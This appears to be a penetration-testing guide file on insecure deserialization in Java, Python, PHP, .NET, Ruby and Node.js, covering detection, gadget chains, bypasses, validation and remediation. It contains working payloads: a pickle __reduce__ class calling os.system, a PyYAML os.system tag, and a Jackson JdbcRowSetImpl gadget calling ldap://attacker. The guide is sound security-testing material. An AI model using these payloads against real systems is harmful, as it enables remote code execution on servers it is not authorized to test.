- Use head-bucket for S3 existence checks instead of duplicating s3 ls - Add Node.js to insecure_deserialization frontmatter description
6.8 KiB
name, description
| name | description |
|---|---|
| insecure_deserialization | Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation |
Insecure Deserialization
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
Attack Surface
Formats
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
- Python:
pickle,yaml.load(unsafe),marshal, shelve - PHP:
unserialize(), Phar deserialization - .NET:
BinaryFormatter,Json.NET TypeNameHandling, ViewState - Ruby:
Marshal.load, YAML.load - Node.js:
node-serialize,unserialize.js(less common; see prototype_pollution for merge bugs)
Input Locations
- Cookies, session tokens, hidden form fields
- API parameters (
data,state,object, base64 blobs) - Message queues, WebSocket binary frames, file uploads
- Cache entries, database columns storing serialized objects
Reconnaissance
Detection Signals
- Base64 blobs starting with magic bytes:
- Java:
ac ed 00 05(hexrO0base64) - PHP:
O:,a:,s:prefixes after decode - .NET BinaryFormatter: starts with
00 01 00 00 00 ff ff ff ff
- Java:
Content-Typewith binary or custom serialization- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
White-Box Indicators
pickle.loads unserialize( ObjectInputStream BinaryFormatter
yaml.load readObject( TypeNameHandling Marshal.load
Key Vulnerabilities
Java Deserialization
Gadget Chains
- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
- Tools: ysoserial (authorized testing only), manual chain selection by classpath
Test Flow
- Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
- Fingerprint library versions from errors, headers, or bundled libs
- Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
Jackson / JSON Typing
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
When enableDefaultTyping or @JsonTypeInfo allows attacker-chosen types.
Python Pickle
Pickle executes arbitrary code during unpickling by design:
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
YAML
!!python/object/apply:os.system ['id']
When yaml.load used instead of yaml.safe_load.
PHP unserialize()
Object Injection
- Magic methods:
__wakeup,__destruct,__toString,__call - POP chains through framework classes (Laravel, Symfony, WordPress plugins)
Phar Deserialization
- Upload or reference
phar://wrapper triggering metadata deserialization on file operations
.NET Deserialization
BinaryFormatter / LosFormatter
- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
Json.NET
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
When TypeNameHandling != None.
ViewState
- MAC disabled or weak machine keys → forge deserialized view state
Ruby Marshal
Marshal.loadon user input → gadget chains in Rails/Devise versions (context-dependent)
Advanced Techniques
Signed Blob Bypass
- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
- Strip signature and test unsigned code paths
- Length extension on MAC if applicable (older custom schemes)
Second-Order Deserialization
- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
Compression Wrappers
- Gzip/base64 nested encoding bypassing naive WAF inspection
Testing Methodology
- Find sinks — Locate decode/unmarshal calls on user-influenced data
- Confirm format — Magic bytes, error stack traces, framework fingerprint
- Safe oracle — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
- Gadget selection — Match classpath/runtime version to available chains
- Minimal PoC — Demonstrate code execution or critical logic bypass with least destructive command
- Session/cookie focus — Deserialize server-side session stores (Java, PHP) early
Validation
- Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
- Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
- Provide encoded payload and exact injection point (cookie name, parameter, header)
- Confirm on fixed version or alternate instance that identical payload fails safely
- Document library/version and gadget chain class names for remediation
False Positives
- Base64 data is encrypted or signed with verified HMAC before deserialization
- Only primitive types deserialized (whitelist schema, no polymorphic types)
pickle/Marshalnot used; JSON parsed to dict without object instantiation- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
- Error mentions serialization class but input is never passed to unmarshal (dead code path)
Bypass Methods
- Encoding layers: base64 → gzip → serialize
- Alternative parameters storing same session (
session,session_backup,state) - Switch content-type or parameter location (GET vs POST vs cookie)
- Type confusion: JSON array vs object hitting different deserializer branches
- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
Impact
- Remote code execution on application servers
- Authentication bypass via forged session objects
- Privilege escalation through manipulated role/admin fields in deserialized classes
- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
Pro Tips
- Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
- Start with DNS/HTTP callback gadgets before command execution in production-like targets
- Check cookies named
JSESSIONIDalternatives,.ASPXAUTH,laravel_session, custom tokens - In white-box, trace from
readObject/unserialize/pickle.loadsbackward to source - ViewState MAC off is still common on legacy ASP.NET — test early on
.aspxapps
Summary
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, yaml.safe_load, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.